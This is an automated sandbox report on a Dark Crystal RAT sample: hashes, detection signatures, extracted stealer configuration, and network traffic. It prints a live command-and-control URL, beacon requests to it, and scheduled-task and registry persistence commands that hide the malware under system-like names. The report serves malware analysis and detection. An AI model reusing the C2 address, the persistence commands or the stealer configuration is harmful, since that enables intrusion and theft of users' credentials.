File name:

fb2ed62f30c9cc5decbb1d5be9e86dd9.exe

Full analysis: https://app.any.run/tasks/bb9f78bb-3ec8-4c96-ab6e-3a672ecacf8a
Verdict: Malicious activity
Threats:

DCrat, also known as Dark Crystal RAT, is a remote access trojan (RAT), which was first introduced in 2018. It is a modular malware that can be customized to perform different tasks. For instance, it can steal passwords, crypto wallet information, hijack Telegram and Steam accounts, and more. Attackers may use a variety of methods to distribute DCrat, but phishing email campaigns are the most common.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 11:08:51
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
auto-sch
dcrat
rat
remote
darkcrystal
auto-reg
netreactor
api-base64
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 4 sections
MD5:

FB2ED62F30C9CC5DECBB1D5BE9E86DD9

SHA1:

5C82D0991E51A0D1E999FC0AD1A6AF4BAC0C2CED

SHA256:

4655CE9AB4630FF4AA672945B745E01AB1E2EBC98C725EC296899DD0883F8E28

SSDEEP:

49152:QLW75EAvTr/+FGc17cyLAKWpEzHNX3KpinrTgZ7dJuoQtD:t7r/+Fv17jctpErF3oinSZJA

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • DCRAT mutex has been found

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)
      • csrss.exe (PID: 7548)

    • Changes the autorun value in the registry

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • DARKCRYSTAL has been detected (SURICATA)

      • csrss.exe (PID: 7548)

    • DCRAT has been detected (YARA)

      • csrss.exe (PID: 7548)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • Executed via WMI

      • schtasks.exe (PID: 7244)
      • schtasks.exe (PID: 7264)
      • schtasks.exe (PID: 7280)
      • schtasks.exe (PID: 7296)
      • schtasks.exe (PID: 7336)
      • schtasks.exe (PID: 7356)
      • schtasks.exe (PID: 7376)
      • schtasks.exe (PID: 7400)
      • schtasks.exe (PID: 7492)
      • schtasks.exe (PID: 7432)
      • schtasks.exe (PID: 7452)
      • schtasks.exe (PID: 7468)

    • Likely accesses (executes) a file from the Public directory

      • schtasks.exe (PID: 7336)
      • schtasks.exe (PID: 7356)
      • schtasks.exe (PID: 7400)
      • csrss.exe (PID: 7548)
      • schtasks.exe (PID: 7376)
      • csrss.exe (PID: 7288)
      • csrss.exe (PID: 8068)

    • The process creates files with name similar to system file names

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • Reads security settings of Internet Explorer

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • Reads the date of Windows installation

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • Starts itself from another location

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • There is functionality for taking screenshot (YARA)

      • csrss.exe (PID: 7548)

  • INFO

    • Checks supported languages

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)
      • csrss.exe (PID: 7548)
      • fontdrvhost.exe (PID: 8176)
      • csrss.exe (PID: 7288)
      • csrss.exe (PID: 8068)
      • fontdrvhost.exe (PID: 7396)

    • Reads the computer name

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)
      • csrss.exe (PID: 7548)
      • csrss.exe (PID: 8068)
      • fontdrvhost.exe (PID: 8176)
      • csrss.exe (PID: 7288)
      • fontdrvhost.exe (PID: 7396)

    • The sample compiled with english language support

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • Reads the machine GUID from the registry

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)
      • csrss.exe (PID: 7548)
      • csrss.exe (PID: 8068)
      • fontdrvhost.exe (PID: 8176)
      • csrss.exe (PID: 7288)
      • fontdrvhost.exe (PID: 7396)

    • Reads Environment values

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)
      • csrss.exe (PID: 7548)
      • csrss.exe (PID: 8068)
      • fontdrvhost.exe (PID: 8176)
      • csrss.exe (PID: 7288)
      • fontdrvhost.exe (PID: 7396)

    • Creates files in the program directory

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • Auto-launch of the file from Registry key

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • Failed to create an executable file in Windows directory

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • Process checks computer location settings

      • fb2ed62f30c9cc5decbb1d5be9e86dd9.exe (PID: 1280)

    • Disables trace logs

      • csrss.exe (PID: 7548)

    • Checks proxy server information

      • csrss.exe (PID: 7548)

    • Manual execution by a user

      • fontdrvhost.exe (PID: 8176)
      • csrss.exe (PID: 7288)
      • csrss.exe (PID: 8068)
      • fontdrvhost.exe (PID: 7396)

    • .NET Reactor protector has been detected

      • csrss.exe (PID: 7548)

    • Potential library load (Base64 Encoded 'LoadLibrary')

      • csrss.exe (PID: 7548)

    • Reads the software policy settings

      • slui.exe (PID: 7688)

    • Potential dynamic function import (Base64 Encoded 'GetProcAddress')

      • csrss.exe (PID: 7548)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(7548) csrss.exe
C2 (1)http://a0651821.xsph.ru/Multiasync
Options
MutexDCR_MUTEX-1CeDYf9y65q0444k8HGJ
Debugfalse
ServerConfigReplacementTable
0
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PluginConfigReplacementTable
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GetWebcamsfalse
SleepTimeout5
InactivityTimeout2
CacheStorageRegistry
AutoRunSmart
StealerConfig
savebrowsersdatatosinglefilefalse
ignorepartiallyemptydatafalse
cookiestrue
passwordstrue
formstrue
cctrue
historyfalse
telegramtrue
steamtrue
discordtrue
filezillatrue
screenshottrue
clipboardtrue
sysinfotrue
searchpath%UsersFolder% - Fast
StealerEnabledtrue
StealerOptionstrue
SelfDeletefalse
No Malware configuration.

TRiD

.exe | Generic CIL Executable (.NET, Mono, etc.) (45.1)
.exe | Win32 Executable MS Visual C++ (generic) (19.2)
.exe | Win64 Executable (generic) (17)
.scr | Windows screen saver (8)
.dll | Win32 Dynamic Link Library (generic) (4)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2022:03:15 23:42:27+00:00
ImageFileCharacteristics: Executable, No line numbers, No symbols, Large address aware, 32-bit
PEType: PE32
LinkerVersion: 6
CodeSize: 1150976
InitializedDataSize: 13824
UninitializedDataSize: -
EntryPoint: 0x11af2e
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 2020.4.11.62311
ProductVersionNumber: 2020.4.11.62311
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Unknown
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
FileVersion: 2020.4.11.16511847
ProductVersion: 2020.4.11.16511847
UnityVersion: 2020.4.11f1_fbf367ac14e9
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
152
Monitored processes
22
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start #DCRAT fb2ed62f30c9cc5decbb1d5be9e86dd9.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT csrss.exe sppextcomobj.exe no specs slui.exe csrss.exe no specs svchost.exe fontdrvhost.exe no specs csrss.exe no specs fontdrvhost.exe no specs slui.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1280"C:\Users\admin\AppData\Local\Temp\fb2ed62f30c9cc5decbb1d5be9e86dd9.exe" C:\Users\admin\AppData\Local\Temp\fb2ed62f30c9cc5decbb1d5be9e86dd9.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Version:
2020.4.11.16511847
Modules
Images
c:\users\admin\appdata\local\temp\fb2ed62f30c9cc5decbb1d5be9e86dd9.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2516C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7244schtasks.exe /create /tn "QX05firefox" /sc MINUTE /mo 14 /tr "'C:\ProgramData\Microsoft\DataMart\PaidWiFi\firefox.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7264schtasks.exe /create /tn "15Uxfirefox" /sc ONLOGON /tr "'C:\ProgramData\Microsoft\DataMart\PaidWiFi\firefox.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7280schtasks.exe /create /tn "HNNofirefox" /sc ONSTART /tr "'C:\ProgramData\Microsoft\DataMart\PaidWiFi\firefox.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7288"C:\Users\Public\Music\csrss.exe"C:\Users\Public\Music\csrss.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Version:
2020.4.11.16511847
Modules
Images
c:\users\public\music\csrss.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
7296schtasks.exe /create /tn "firefox" /sc MINUTE /mo 8 /tr "'C:\ProgramData\Microsoft\DataMart\PaidWiFi\firefox.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7336schtasks.exe /create /tn "hxtZcsrss" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Music\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7356schtasks.exe /create /tn "URLNcsrss" /sc ONLOGON /tr "'C:\Users\Public\Music\csrss.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
2 463
Read events
2 445
Write events
18
Delete events
0

Modification events

(PID) Process:(1280) fb2ed62f30c9cc5decbb1d5be9e86dd9.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:firefox
Value:
"C:\ProgramData\Microsoft\DataMart\PaidWiFi\firefox.exe"
(PID) Process:(1280) fb2ed62f30c9cc5decbb1d5be9e86dd9.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:csrss
Value:
"C:\Users\Public\Music\csrss.exe"
(PID) Process:(1280) fb2ed62f30c9cc5decbb1d5be9e86dd9.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:fontdrvhost
Value:
"C:\Users\Default\Links\fontdrvhost.exe"
(PID) Process:(1280) fb2ed62f30c9cc5decbb1d5be9e86dd9.exeKey:HKEY_CURRENT_USER\SOFTWARE\8e0acd5dbbe40518e2ca4999788617cb9e7fdf2e
Operation:writeName:1812f4b6cea264a0b1a4491423cb107839d42940
Value:
WyJDOlxcVXNlcnNcXGFkbWluXFxBcHBEYXRhXFxMb2NhbFxcVGVtcFxcZmIyZWQ2MmYzMGM5Y2M1ZGVjYmIxZDViZTllODZkZDkuZXhlIiwiQzpcXFByb2dyYW1EYXRhXFxNaWNyb3NvZnRcXERhdGFNYXJ0XFxQYWlkV2lGaVxcZmlyZWZveC5leGUiLCJDOlxcVXNlcnNcXFB1YmxpY1xcTXVzaWNcXGNzcnNzLmV4ZSIsIkM6XFxVc2Vyc1xcRGVmYXVsdFxcTGlua3NcXGZvbnRkcnZob3N0LmV4ZSJd
(PID) Process:(7548) csrss.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\csrss_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(7548) csrss.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\csrss_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(7548) csrss.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\csrss_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(7548) csrss.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\csrss_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(7548) csrss.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\csrss_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(7548) csrss.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\csrss_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
Executable files
3
Suspicious files
0
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
1280fb2ed62f30c9cc5decbb1d5be9e86dd9.exeC:\ProgramData\Microsoft\DataMart\PaidWiFi\0fc223bdacedc3text
MD5:8ACE853CD69DB1EFD13BFE829F48B478
SHA256:5C2057A166E281326B2D775FD9E31A833891A1E9CDEA6438FD98B3076CD3A57E
1280fb2ed62f30c9cc5decbb1d5be9e86dd9.exeC:\Users\Default\Links\5b884080fd4f94text
MD5:B8FEE5F31D7DE68418CE2F7A10DAEFA1
SHA256:BE481F3CBFC316B5D6ED3CB4CC51E5B644AEBE2DBF03FBC72C8E8F260C0318D3
1280fb2ed62f30c9cc5decbb1d5be9e86dd9.exeC:\Users\Default\Links\fontdrvhost.exeexecutable
MD5:FB2ED62F30C9CC5DECBB1D5BE9E86DD9
SHA256:4655CE9AB4630FF4AA672945B745E01AB1E2EBC98C725EC296899DD0883F8E28
1280fb2ed62f30c9cc5decbb1d5be9e86dd9.exeC:\ProgramData\Microsoft\DataMart\PaidWiFi\firefox.exeexecutable
MD5:FB2ED62F30C9CC5DECBB1D5BE9E86DD9
SHA256:4655CE9AB4630FF4AA672945B745E01AB1E2EBC98C725EC296899DD0883F8E28
1280fb2ed62f30c9cc5decbb1d5be9e86dd9.exeC:\Users\Public\Music\csrss.exeexecutable
MD5:FB2ED62F30C9CC5DECBB1D5BE9E86DD9
SHA256:4655CE9AB4630FF4AA672945B745E01AB1E2EBC98C725EC296899DD0883F8E28
1280fb2ed62f30c9cc5decbb1d5be9e86dd9.exeC:\Users\Public\Music\886983d96e3d3etext
MD5:BCDDC803D7C9D53EA4C05FB741EABFA2
SHA256:4BFEC4C78456511569C8AB8A09A70759D0B552A6EABEDAA320EB70382EFBD661
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
22
DNS requests
16
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5496
MoUsoCoreWorker.exe
GET
200
23.48.23.156:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5496
MoUsoCoreWorker.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
7548
csrss.exe
GET
400
141.8.197.42:80
http://a0651821.xsph.ru/Multiasync.php?rLUl0nOpxh6mDZ=QiYQmHGRgSA3l0na9ZFwoIAB&53Ky96qf=YUcY5&c7cdbd6627c5bba5675d4495b9667249=671b0c3ca6d807c8bd0b9be5bb5a860f&904a9a41e4c9c756ddfe8e7481ca8bd1=gN2MDZyU2YmJjZyQDOmFDMxIWO3MDZiRzYhZjZyMjN1QDZ2kTOxQjY&rLUl0nOpxh6mDZ=QiYQmHGRgSA3l0na9ZFwoIAB&53Ky96qf=YUcY5
unknown
—
—
whitelisted
7548
csrss.exe
GET
400
141.8.197.42:80
http://a0651821.xsph.ru/Multiasync.php?rLUl0nOpxh6mDZ=QiYQmHGRgSA3l0na9ZFwoIAB&53Ky96qf=YUcY5&c7cdbd6627c5bba5675d4495b9667249=671b0c3ca6d807c8bd0b9be5bb5a860f&904a9a41e4c9c756ddfe8e7481ca8bd1=gN2MDZyU2YmJjZyQDOmFDMxIWO3MDZiRzYhZjZyMjN1QDZ2kTOxQjY&rLUl0nOpxh6mDZ=QiYQmHGRgSA3l0na9ZFwoIAB&53Ky96qf=YUcY5
unknown
—
—
whitelisted
6184
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
6184
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
3176
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5496
MoUsoCoreWorker.exe
23.48.23.156:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5496
MoUsoCoreWorker.exe
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3216
svchost.exe
172.211.123.249:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.160.5:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
2104
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 4.231.128.59
whitelisted
google.com
  • 142.250.185.174
whitelisted
crl.microsoft.com
  • 23.48.23.156
  • 23.48.23.143
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
client.wns.windows.com
  • 172.211.123.249
whitelisted
login.live.com
  • 20.190.160.5
  • 20.190.160.66
  • 20.190.160.2
  • 20.190.160.17
  • 20.190.160.132
  • 20.190.160.20
  • 40.126.32.134
  • 20.190.160.64
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
a0651821.xsph.ru
  • 141.8.197.42
whitelisted
slscr.update.microsoft.com
  • 20.12.23.50
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
A Network Trojan was detected
MALWARE [ANY.RUN] Suspected domain Associated with Malware Distribution (xsph .ru)
2196
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
7548
csrss.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
No debug info
Interactive malware hunting service ANY.RUN
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ANY.RUN
Reports
fb2ed62f30c9cc5decbb1d5be9e86dd9.exe